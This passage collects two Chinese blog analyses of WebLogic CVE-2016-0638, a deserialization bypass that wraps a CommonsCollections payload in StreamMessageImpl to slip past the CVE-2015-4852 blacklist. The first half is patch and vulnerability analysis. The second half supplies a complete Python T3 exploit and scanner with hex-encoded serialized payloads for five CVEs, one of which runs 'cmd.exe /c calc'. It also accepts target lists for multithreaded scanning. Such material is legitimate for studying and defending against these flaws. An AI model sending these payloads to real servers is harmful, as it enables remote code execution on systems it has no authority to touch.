精华内容
下载资源
问答
  • Java安全之Weblogic 2016-0638分析0x00 前言续上篇文的初探weblogic的T3协议漏洞,再谈CVE-2016-0638, CVE-2016-0638是基于 CVE-2015-4852漏洞的一个绕过。0x01 环境搭建补丁环境搭建这里采用上次的weblogic环境,...

    Java安全之Weblogic 2016-0638分析

    0x00 前言

    续上篇文的初探weblogic的T3协议漏洞,再谈CVE-2016-0638, CVE-2016-0638是基于 CVE-2015-4852漏洞的一个绕过。

    0x01 环境搭建

    补丁环境搭建

    这里采用上次的weblogic环境,但是在这里还需要打一个补丁包,来修复 CVE-2015-4852漏洞后,对该漏洞进行一个绕过。

    CVE-2015-4852的修复补丁为p21984589_1036_Generic,由于在互联网上并没有找到该补丁包,只能通过官网下载,官网下载需要购买对应的服务,所以在这里找了p20780171_1036_Generic和p22248372_1036012_Generic这两个补丁包,p21984589_1036_Generic是前面这两个补丁包的集成。

    因为前面搭建是docker的环境,需要将这两个补丁包上传到docker镜像里面去,然后进行安装。

    命令整理:

    docker cp ../p20780171_1036_Generic weblogic1036jdk7u21:/p20780171_1036_Generic

    docker cp ../p22248372_1036012_Generic weblogic1036jdk7u21:/p22248372_1036012_Generic

    docker exec -it weblogic1036jdk7u21 /bin/bash

    cd /u01/app/oracle/middleware/utils/bsu

    mkdir cache_dir

    vi bsu.sh 编辑MEM_ARGS参数为1024

    cp /p20780171_1036_Generic/* cache_dir/

    ./bsu.sh -install -patch_download_dir=/u01/app/oracle/middleware/utils/bsu/cache_dir/ -patchlist=EJUW -prod_dir=/u01/app/oracle/middleware/wlserver/

    cp /p22248372_1036012_Generic/* cache_dir/

    ./bsu.sh -install -patch_download_dir=/u01/app/oracle/middleware/utils/bsu/cache_dir/ -patchlist=ZLNA -prod_dir=/u01/app/oracle/middleware/wlserver/ –verbose

    重启weblogic服务。

    /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh

    这里看到weblogic 2015-4852的payload打过去,并没有像以往一样,创建一个文件。那么就说明补丁已经打上了,已经能够修复该漏洞了。这里是切换了JDK7u21和cc1的利用链依旧没打成功。

    远程调试

    接下来还是需要将里面的依赖包给拷一下。

    mkdir wlserver1036

    mkdir coherence_3.7

    docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./wlserver1036

    docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver/server/lib ./wlserver1036

    docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

    下面来对该补丁进行一个绕过。

    0x02 补丁分析

    补丁作用位置:

    weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream

    weblogic.rjvm.MsgAbbrevInputStream.class

    weblogic.iiop.Utils.class

    在分析漏洞前,先来看到一下,上一个漏洞点的补丁是怎么进行修复的。

    在这其实看到该resolveClass方法的位置,前面加多一个判断。

    前面判断className是否为空,ClassName的长度是否为零,但是重点是ClassFilter.isBlackListed方法。

    这里先打一个 CVE-2015-4852 exp过来,在该位置打个断点,跟踪进该方法,查看怎么进行防护。

    跟进进来后,先别急着看后面的,因为下面还有一个静态代码块,静态代码块中代码优先执行,需要先来查看静态代码块内容。

    这里前面有两个判断,判断中都调用了两个方法,来看看这两个方法的实现。

    一个是判断是否为weblogic.rmi.disableblacklist,一个是判断是否为weblogic.rmi.disabledefaultblacklist,写法有点奇怪,可能是因为是class文件的缘故。

    这两个判断为true的话,就会执行来到下一步调用updateBlackList将后面的一系列黑名单的类传入到里面去。

    updateBlackList该方法从名字得知,就是一个黑名单列表添加的一个方法,将黑名单内容添加到一个HashSet里面去。查看具体实现。

    StringTokenizer 构造方法:为指定的字符串构造一个字符串tokenizer。

    hasMoreTokens方法:返回与 hasMoreTokens方法相同的值。

    nextToken 方法:返回此字符串tokenizer字符串中的下一个令牌。

    总体的来理解就是构造一个字符串,然后遍历里面的值,然后调用processToken方法将该值传递进去。

    再来看到processToken方法。

    里面判断如果开头是+号,则截取第一位后面的值添加到黑名单的这个HashSet里面去。如果是-号则移除,如果开头不是前面的+ -号则直接添加到黑名单里面去。

    到这里静态代码块就已经分析完成了,总的来说其实就是将一些危险的类,添加到了黑名单里的一个步骤。

    黑名单列表为:

    +org.apache.commons.collections.functors,

    +com.sun.org.apache.xalan.internal.xsltc.trax,

    +javassist,+org.codehaus.groovy.runtime.ConvertedClosure,

    +org.codehaus.groovy.runtime.ConversionHandler,

    +org.codehaus.groovy.runtime.MethodClosure

    返回刚刚的ClassFilter.isBlackListed方法进行跟踪

    最后这里调用了contains方法判断 这个pkgName存不存在黑名单中,存在的话这里返回true。

    返回到resolveClass方法可以看到这里为true,就会直接抛异常。

    如果不存在于黑名单中,会来到else这个分支的代码块中调用父类的resolveClass方法。

    而这一个点,只是过滤的一个点,下面来看看过滤的点都有哪些。

    再来看下一个点MsgAbbrevInputStream的位置

    这里也是调用ClassFilter.isBlackListed方法进行过滤,和前面的是一样的。以此类推。

    0x03 工具分析

    在CVE-2016-0638里面用到了weblogic_cmd工具,github地址。

    下面来看看该工具的实现,再谈漏洞的绕过方式。

    下载该源码后,导入IDEA中,配置命令参数。

    这里如果报错找不到sun.tools.asm包的话,需要将Tools.jar包手动添加一下。在这我是使用jdk1.6进行执行的,使用1.8版本会找不到sun.org.mozilla.javascript.internal.DefiningClassLoader类

    在Main的类中打个断点进行执行。

    前面都是代码都是进行一个配置,这里断点选择落在该方法中。

    选择跟踪

    继续跟踪WebLogicOperation.blindExecute方法。

    前面判断了服务器类型,重点在SerialDataGenerator.serialBlindDatas方法中,payload由该方法进行生成。跟进查看一下该方法如何生成payload。

    在这先选择跟踪blindExecutePayloadTransformerChain方法。

    在这里又看到了熟悉的面孔,CC链的部分代码。

    回到刚刚的地方,跟踪serialData方法

    在这里就看到了CC链后面的一段代码,这组合成了一条CC1利用链。但是在后面调用了BypassPayloadSelector.selectBypass方法来处理在原生的利用链中本该直接进行序列化的对象。

    跟进该方法进行查看。

    这里面还会去调用Serializables.serialize,依旧先跟踪最里层的方法。

    这传入一个obj对象和out对象,进行了序列化操作。然后将序列化后的数据写到out对象中。

    执行完成后,返回上一个点,刚才分析得知返回的是序列化后的数据。所以在处调用streamMessageImpl方法传递的参数也是序列化的数据。

    跟踪查看。

    内部是new了一个weblogic.jms.common.StreamMessageImpl的实例,然后调用setDataBuffer方法将序列化后的对象和序列化后的长度传递进去。

    执行完这步后,回到这个地方

    后面的这个方法是进行序列化操作的,这里又对 streamMessageImpl的实例对象进行了一次序列化。该方法在前面查看过了,这里就不跟进去看了。

    而最后来到了这里。

    而后面这个方法就是构造特定的数据包,使用T3协议发送payload。

    0x04 漏洞分析

    那么如果需要绕过的话,我们需要找一个类,他的类在内部的readObject方法创建了自己的InputStream的对象,但是又不能为黑名单里面过滤掉的ServerChannelInputStream和MsgAbbrevInputStream里面的readObject方法。然后调用该readObject 方法进行反序列化,这时候就可以达成一个绕过的效果。

    在师傅们的挖掘中寻找到了weblogic.jms.common.StreamMessageImpl#readExternal(),StreamMessageImpl类中的readExternal方法可以接收序列化数据作为参数,而当StreamMessageImpl类的readExternal执行时,会反序列化传入的参数并调用该参数反序列化后对应类的这个readObject方法。

    绕过原理如下:

    将反序列化的对象封装进了 StreamMessageImpl,然后再对 StreamMessageImpl 进行序列化,生成 payload 字节码。反序列化时 StreamMessageImpl 不在 WebLogic 黑名单里,可正常反序列化,在反序列化时 StreamMessageImpl 对象调用 readObject 时对 StreamMessageImpl 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。

    在此先再来思考一个问题,weblogic.jms.common.StreamMessageImpl#readExternal()该方法是怎么被调用的呢?在前面分析原生readObject方法的时候发现,其实readObject方法的底层还会去调用很多其他方法。

    在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。而在这里readExternal就会被调用。

    那么下面来调试分析一下该漏洞。

    还是先在weblogic.rjvm.InboundMsgAbbrev#ServerChannelInputStream.resolveClass地方打个断点,然后使用weblogic_cmd工具打一个payload过去,先来查看一下传输过来的数据。

    这里可以看到获取到的ClassName是weblogic.jms.common.StreamMessageImpl的对象,而不在再是AnnotationInvocationHandler对象。StreamMessageImpl不在黑名单中,这里的判断不会进行抛异常。

    下个断点直接落在StreamMessageImpl.readExternal中跟踪一下。

    看到调用栈这里就应验了我们前面所提到的关于StreamMessageImpl.readExternal调用问题。

    这里的var4为正常反序列化后的数据,而后面会new一个ObjectInputStream类传递var4参数进去。然后再调用readObject方法

    执行完这一步后,命令就已经执行成功。后面的是对CC链执行命令的一个基本认知,在此不做赘述。

    参考文章

    https://xz.aliyun.com/t/8443#toc-6

    https://www.anquanke.com/post/id/224343#h3-6

    0x05 结尾

    其实摸清楚补丁的一个套路过后,再去基于补丁分析后面的漏洞会比较清晰。因为补丁无非就是再从ClassFilter里面添加黑名单列表,这也是为什么weblogic修修补补又爆洞的原因,并没有从根本原因去进行修复。

    展开全文
  • 此漏洞是基于CVE-2015-4852漏洞进行黑名单的绕过,CVE-2015-4852补丁主要应用在三个位置上weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStreamweblogic.rjvm.MsgAbbrevInputStream.classweblogic....

    此漏洞是基于CVE-2015-4852漏洞进行黑名单的绕过,CVE-2015-4852补丁主要应用在三个位置上

    weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream

    weblogic.rjvm.MsgAbbrevInputStream.class

    weblogic.iiop.Utils.class

    所以如果能找到可以在其readObject中创建自己的InputStream的对象,并且不是使用黑名单中的ServerChannelInputStream和MsgAbbrevInputStream的readExternal进行的反序列化,最后调用readObject()方法进行反序列化的数据的读取,这样就可以执行含有恶意代码的序列化代码。CVE-2016-0638漏洞就是依据这个思路找到了weblogic.jms.common.StreamMessageImpl类,其中的readExternal()方法也符合攻击的需求。攻击者可以在其中构造一个恶意的ObjectInputStream来实现payload内部的InputStream创建,调用readObject()方法,实现攻击。

    StreamMessageImpl类漏洞代码位置如下:

    先看一下poc是怎么生成的,从下面参考链接下载cmd.jar源码。通过配置如下参数,下断跟踪一下。不加-T默认使用StreamMessageImpl绕过

    java -jar cmd.jar -H "121.195.170.207" -C "calc" -B -os win

    跟入executeBlind函数,继续跟入blindExecute

    在44行打印Payload,serialBlindDatas这个函数就是具体的反序列化操作。

    这里选择的绕过类型streamMessageImpl,返回payload

    streamMessageImpl类的writeExternal方法重写

    使用的gagets是common-collections1

    生成的payload:

    将PAYLOAD字典第一个位置CVE-2016-0638写入payload.

    #!/usr/bin/env python

    #coding:utf-8

    import socket

    import time

    import re

    import argparse

    from multiprocessing.dummy import Pool

    VUL=['CVE-2016-0638',

    'CVE-2016-3510',

    'CVE-2017-3248',

    'CVE-2018-2628',

    'CVE-2018-2893'

    ]

    PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004001e200000000000000100000572aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000017f72696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b47020000787000000003740007636d642e6578657400022f6374000463616c63740004657865637571007e001e000000017671007e002f7371007e0011737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f4000000000000078737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003d78',

    'aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b42787057412418757200025b42acf317f8060854e0020000787000000c0daced0005737200176a6176612e7574696c2e4c696e6b656448617368536574d86cd75a95dd2a1e020000787200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f400000000000027372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000949000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785a00155f75736553657276696365734d656368616e69736d4c00195f61636365737345787465726e616c5374796c6573686565747400124c6a6176612f6c616e672f537472696e673b4c000b5f617578436c617373657374003b4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f486173687461626c653b5b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff00740003616c6c70757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e0020000787000000698cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01000463616c6308003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001d79736f73657269616c2f50776e6572313930393035393330363833303701001f4c79736f73657269616c2f50776e657231393039303539333036383330373b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e000d000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e727077010078737d00000001001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c61746573787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000001740008663561356136303871007e0009787672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c617465730000000000000000000000787078',

    'aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078',

    'aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707729000a556e69636173745265660000000005a2000000005649e3fd00000000000000000000000000000078',

    'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000001251e200000000000000100000118aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000f1440000000046911fd80000000000000000000000000000007878',

    ]

    VER_SIG=['weblogic.jms.common.StreamMessageImpl',

    'org.apache.commons.collections.functors.InvokerTransformer',

    '\\$Proxy[0-9]+',

    '\\$Proxy[0-9]+',

    'weblogic.jms.common.StreamMessageImpl'

    ]

    def t3handshake(sock,server_addr):

    sock.connect(server_addr)

    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))

    time.sleep(1)

    sock.recv(1024)

    print('[!]{}:{} handshake successful'.format(server_addr[0],server_addr[1]))

    def buildT3RequestObject(dip,sock):

    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'

    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'

    data3 = '1a7727000d3234322e323134'

    data4 = '2e312e32353461863d1d0000000078'

    for d in [data1,data2,data3,data4]:

    sock.send(d.decode('hex'))

    time.sleep(2)

    print('[!]{} send request payload successful,recv length:{}'.format(dip,len(sock.recv(2048))))

    def sendEvilObjData(sock,data):

    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'

    payload+=data

    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'

    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)

    sock.send(payload.decode('hex'))

    time.sleep(2)

    res='NO_DATA'

    try:

    res=sock.recv(4096)

    except socket.timeout:

    pass

    # print res.encode('hex')

    return res

    def checkVul(res,server_addr,index):

    p=re.findall(VER_SIG[index], res, re.S)

    if len(p)>0:

    print('[+]%s:%d vul %s'%(server_addr[0],server_addr[1],VUL[index]))

    return True

    else:

    print('[-]%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index]))

    return False

    def run(dip,dport,index):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整

    sock.settimeout(60)

    server_addr = (dip, dport)

    t3handshake(sock,server_addr)

    buildT3RequestObject(dip,sock)

    rs=sendEvilObjData(sock,PAYLOAD[index])

    checkVul(rs,server_addr,index)

    def exp(target):

    dip,dport = target

    vuls = []

    for index in range(len(VUL)):

    try:

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整

    sock.settimeout(60)

    server_addr = (dip, dport)

    t3handshake(sock,server_addr)

    buildT3RequestObject(dip,sock)

    rs=sendEvilObjData(sock,PAYLOAD[index])

    if checkVul(rs,server_addr,index):

    vuls.append(VUL[index])

    except Exception as e:

    print('[-]{} fail:{}'.format(dip,str(e)))

    return {'ip':dip,'status':'ok' if len(vuls)>0 else 'fail','vuls':vuls}

    def load_target_from_file(filename,port):

    iplist = []

    with open(filename) as f:

    for line in f:

    ip = line.strip()

    if len(ip)>0:

    iplist.append((ip,port))

    return iplist

    def process_result(results):

    results_ok = []

    results_fail = []

    for r in results:

    if r['status'] == 'ok':

    results_ok.append('{}:{}'.format(r['ip'],','.join(r['vuls'])))

    else:

    results_fail.append(r['ip'])

    print('[+]vuls total:{}\n{}'.format(len(results_ok), '\n'.join(results_ok)))

    def main():

    parser = argparse.ArgumentParser(description='weblogic scanner')

    parser.add_argument('-f','--file',default=None,help='read target ip from file')

    parser.add_argument('-t','--target',default=None,help='target ip')

    parser.add_argument('-p','--port',default='7001',help=' server port,default is 7001')

    args = parser.parse_args()

    if not args.file is None:

    iplist = load_target_from_file(args.file,int(args.port))

    pool = Pool(10)

    results = pool.map(exp,iplist)

    pool.close()

    pool.join()

    process_result(results)

    elif not args.target is None:

    exp((args.target,int(args.port)))

    else:

    parser.print_help()

    print('You must set target ip or file!')

    if __name__=="__main__":

    main()

    在weblogic的StreamMessagelmpl下断点运行上面脚本,断点停住,具体分析看图片。

    展开全文
